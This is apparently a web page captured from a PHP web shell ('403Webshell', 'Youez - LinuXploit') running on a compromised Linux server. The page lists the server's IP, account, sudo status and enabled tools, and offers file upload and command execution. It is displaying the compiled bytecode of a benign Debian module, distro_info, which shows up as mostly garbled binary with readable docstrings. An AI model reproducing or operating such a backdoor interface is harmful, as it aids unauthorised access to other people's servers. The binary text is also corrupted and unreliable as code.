403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/__pycache__/distro_info.cpython-39.pyc
a

�T>e�0�@s�dZddlZddlZddlZdd�Zdd�ZGdd�de�ZGd	d
�d
e�Z	dd�Z
Gd
d�de�ZGdd�de�ZGdd�de�Z
dS)z>provides information about Ubuntu's and Debian's distributions�NcCs�|s
d}n�dd�|�d�D�}t|�dkrD|\}}}t�|||�}nRt|�dkr�|\}}|dkrpt�||d�}q�t�||d	d	�t�d	�}ntd
��|S)z9Convert a date string in ISO 8601 into a datetime object.NcSsg|]}t|��qS�)�int��.0�xrr�-/usr/lib/python3/dist-packages/distro_info.py�
<listcomp>�z convert_date.<locals>.<listcomp>�-�����zDate not in ISO 8601 format.)�split�len�datetime�dateZ	timedelta�
ValueError)�stringr�partsZyearZmonthZdayrrr�convert_dates
rcCsdS)z4Get the data directory based on the module location.z/usr/share/distro-inforrrrr�
_get_data_dir*srcs eZdZdZ�fdd�Z�ZS)�DistroDataOutdatedzDistribution data outdated.cst��d�dS)Nz�Distribution data outdated. Please check for an update for distro-info-data. See /usr/share/doc/distro-info-data/README.Debian for details.��super�__init__��self��	__class__rrr2s�zDistroDataOutdated.__init__)�__name__�
__module__�__qualname__�__doc__r�
__classcell__rrrrr/src@s"eZdZdZddd�Zdd�ZdS)�
DistroReleasez"Represents a distributions releaseNcCs@||_||_||_||_||_||_||_|	|_||_|
|_	dS�N)
�version�codename�series�created�release�eol�eol_lts�eol_elts�eol_esm�
eol_server)rr(r)r*r+r,r-r0r.r/r1rrrr?szDistroRelease.__init__cCs2||jko0|jdup0||jkp0|jduo0||jkS)z:Check whether this release is supported on the given date.N)r+r-r1�rrrrr�is_supportedXs

��zDistroRelease.is_supported)NNNNNNN)r!r"r#r$rr3rrrrr&9s
�
r&cCs||vrt||�SdSr')r)�row�columnrrr�	_get_dateasr6c@s�eZdZdZdd�Zedd��Zddd�Zd	d
�Zddd
�Z	ddd�Z
ddd�Zdd�Zd dd�Z
d!dd�Zdd�Zd"dd�ZdS)#�
DistroInfozzBase class for distribution information.
    Use DebianDistroInfo or UbuntuDistroInfo instead of using this directly.
    cCs�||_tj�t�|��d�}t|�}t�|�}g|_	|D]`}t
|d|d|dt|d�t|d�t|d�t|d�t|d	�t|d
�t|d��
}|j	�|�q:|�
�tj��|_dS)Nz.csvr(r)r*r+r,r-zeol-esmzeol-ltszeol-eltsz
eol-server)�_distro�os�path�joinr�lower�open�csvZ
DictReader�	_releasesr&r6�append�closerrZtoday�_date)rZdistro�filenameZcsvfileZ
csv_readerr4r,rrrrjs*
�zDistroInfo.__init__cCsdd�|jD�S)z*List codenames of all known distributions.cSsg|]
}|j�qSr�r*rrrrr�r	z"DistroInfo.all.<locals>.<listcomp>�r?rrrr�all�szDistroInfo.allr)cs��fdd��jD�S)zList all known distributions.csg|]}���|��qSr)�_formatr��resultrrrr�r	z&DistroInfo.get_all.<locals>.<listcomp>rE)rrIrrHr�get_all�szDistroInfo.get_allcs�fdd�|jD�S)z?Return all distributions that were available on the given date.csg|]}�|jkr|�qSr)r+r�rrrr�r	z%DistroInfo._avail.<locals>.<listcomp>rEr2rrKr�_avail�szDistroInfo._availNcCs|S)z3Map codename aliases to the codename they describe.r)rr,r�defaultrrrr)�szDistroInfo.codenamecCs*|jD]}||j|jfvr|jSq|S)z!Map codename or series to version)r?r)r*r()r�namerMr,rrrr(�s
zDistroInfo.versioncs@�dur|j��fdd�|���D�}|s0t��|�||d�S)�<Get latest development distribution based on the given date.Ncs8g|]0}|jdus0�|jkr|jdus0�|jkr|�qSr'�r,r-rrKrrr�s(�z$DistroInfo.devel.<locals>.<listcomp>����rBrLrrG�rrrI�distrosrrKr�devel�s
�zDistroInfo.develcCsb|dkr|S|dkr|jS|dkr@|jd|jd|jdS|dkrN|jStd|d	��d
S)z"Format a given distribution entry.�objectr)�fullname� z "�"r,zQOnly codename, fullname, object, and release are allowed result values, but not 'z'.N)r*r8r(r)r)r�
format_stringr,rrrrG�s���zDistroInfo._formatcs@�dur|j��fdd�|���D�}|s0t��|�||d�S)z7Get latest stable distribution based on the given date.Ncs8g|]0}|jdur�|jkr|jdus0�|jkr|�qSr'rPrrKrrr�s(�z%DistroInfo.stable.<locals>.<listcomp>rQrRrSrrKr�stable�s
�zDistroInfo.stablecCs
t��dS)z@Get list of all supported distributions based on the given date.N)�NotImplementedError)rrrIrrr�	supported�szDistroInfo.supportedcCs
||jvS)�%Check if the given codename is known.)rF�rr)rrr�valid�szDistroInfo.validcs8|dur�j}��|�����fdd���|�D�}|S)zBGet list of all unsupported distributions based on the given date.Ncs"g|]}|j�vr���|��qSr)r*rGr�rIrr]rrr�r	z*DistroInfo.unsupported.<locals>.<listcomp>)rBr]rLrSrrar�unsupported�s

zDistroInfo.unsupported)r))NN)N)Nr))Nr))NN)Nr))r!r"r#r$r�propertyrFrJrLr)r(rUrGr[r]r`rbrrrrr7es







r7csneZdZdZ�fdd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�Zdd�Z�Z
S)�DebianDistroInfoz1provides information about Debian's distributionscst��d�dS)NZDebianrrrrrr�szDebianDistroInfo.__init__NcCsX|dkr|�|�}n@|dkr(|�|�}n,|dkr<|�|�}n|dkrP|�|�}n|}|S)z3Map 'unstable', 'testing', etc. to their codenames.�unstable�testingr[�	oldstable)rUrfr[�old)rr,rrMr)rrrr)�szDebianDistroInfo.codenamer)csH�dur|j��fdd�|���D�}t|�dkr8t��|�||d�S)rONcs8g|]0}|jdus0�|jkr|jdus0�|jkr|�qSr'rPrrKrrr�s(�z*DebianDistroInfo.devel.<locals>.<listcomp>r����rBrLrrrGrSrrKrrU�s
�zDebianDistroInfo.develcsH�dur|j��fdd�|���D�}t|�dkr8t��|�||d�S)z=Get old (stable) Debian distribution based on the given date.Ncs$g|]}|jdur�|jkr|�qSr')r,rrKrrr�r	z(DebianDistroInfo.old.<locals>.<listcomp>rrirjrSrrKrrh�szDebianDistroInfo.oldcs.�dur�j����fdd�����D�}|S)zOGet list of all supported Debian distributions based on the given
        date.Ncs,g|]$}|jdus�|jkr���|��qSr')r-rGr�rrIrrrrsz.DebianDistroInfo.supported.<locals>.<listcomp>�rBrLrSrrkrr]�s�zDebianDistroInfo.supportedcs.�dur�j����fdd�����D�}|S)zSGet list of all LTS supported Debian distributions based on the given
        date.Ncs@g|]8}|jdur�|jkr|jdur�|jkr���|��qSr')r-r.rGrrkrrrs�z2DebianDistroInfo.lts_supported.<locals>.<listcomp>rlrSrrkr�
lts_supported	s�zDebianDistroInfo.lts_supportedcs.�dur�j����fdd�����D�}|S)z\Get list of all Extended LTS supported Debian distributions based on
        the given date.Ncs@g|]8}|jdur�|jkr|jdur�|jkr���|��qSr')r.r/rGrrkrrrs�z3DebianDistroInfo.elts_supported.<locals>.<listcomp>rlrSrrkr�elts_supporteds�zDebianDistroInfo.elts_supportedcs@�dur|j��fdd�|���D�}|s0t��|�||d�S)z?Get latest testing Debian distribution based on the given date.NcsHg|]@}|jdur|js@|jdur�|jkr|jdus@�|jkr|�qSr')r,r(r-rrKrrr's(�z,DebianDistroInfo.testing.<locals>.<listcomp>rQrRrSrrKrrf#s
�zDebianDistroInfo.testingcCst�||�p|dvS)r^)rerfr[rg)r7r`r_rrrr`1szDebianDistroInfo.valid)NN)Nr))Nr))Nr))Nr))Nr))Nr))r!r"r#r$rr)rUrhr]rmrnrfr`r%rrrrrd�s


	




rdcsFeZdZdZ�fdd�Zddd�Zdd	�Zdd
d�Zddd
�Z�Z	S)�UbuntuDistroInfoz1provides information about Ubuntu's distributionscst��d�dS)NZUbunturrrrrr>szUbuntuDistroInfo.__init__Nr)cs<�dur|j��fdd�|jD�}|s,t��|�||d�S)zWGet latest long term support (LTS) Ubuntu distribution based on the
        given date.Ncs<g|]4}|j�d�dkr|j�kr0|jkrnq|�qS)�LTSr)r(�findr,r-rrKrrrFsz(UbuntuDistroInfo.lts.<locals>.<listcomp>rQ)rBr?rrGrSrrKr�ltsAs
�zUbuntuDistroInfo.ltscs*�fdd�|jD�}|sdSd|djvS)zIs codename an LTS release?csg|]}|j�kr|�qSrrDr�r)rrrOr	z+UbuntuDistroInfo.is_lts.<locals>.<listcomp>Frpr)r?r()rr)rTrrsr�is_ltsMszUbuntuDistroInfo.is_ltscs.�dur�j����fdd�����D�}|S)zOGet list of all supported Ubuntu distributions based on the given
        date.Ncs6g|].}�|jks&|jdur�|jkr���|��qSr')r-r1rGrrkrrrYs�z.UbuntuDistroInfo.supported.<locals>.<listcomp>rlrSrrkrr]Ts�zUbuntuDistroInfo.supportedcs.�dur�j����fdd�����D�}|S)zSGet list of all ESM supported Ubuntu distributions based on the
        given date.Ncs,g|]$}|jdur�|jkr���|��qSr')r0rGrrkrrres�z2UbuntuDistroInfo.supported_esm.<locals>.<listcomp>rlrSrrkr�
supported_esm`s�zUbuntuDistroInfo.supported_esm)Nr))Nr))Nr))
r!r"r#r$rrrrtr]rur%rrrrro;s

ro)r$r>rr9rr�	ExceptionrrVr&r6r7rdrorrrr�<module>s
(pf

Youez - 2016 - github.com/yon3zu
LinuXploit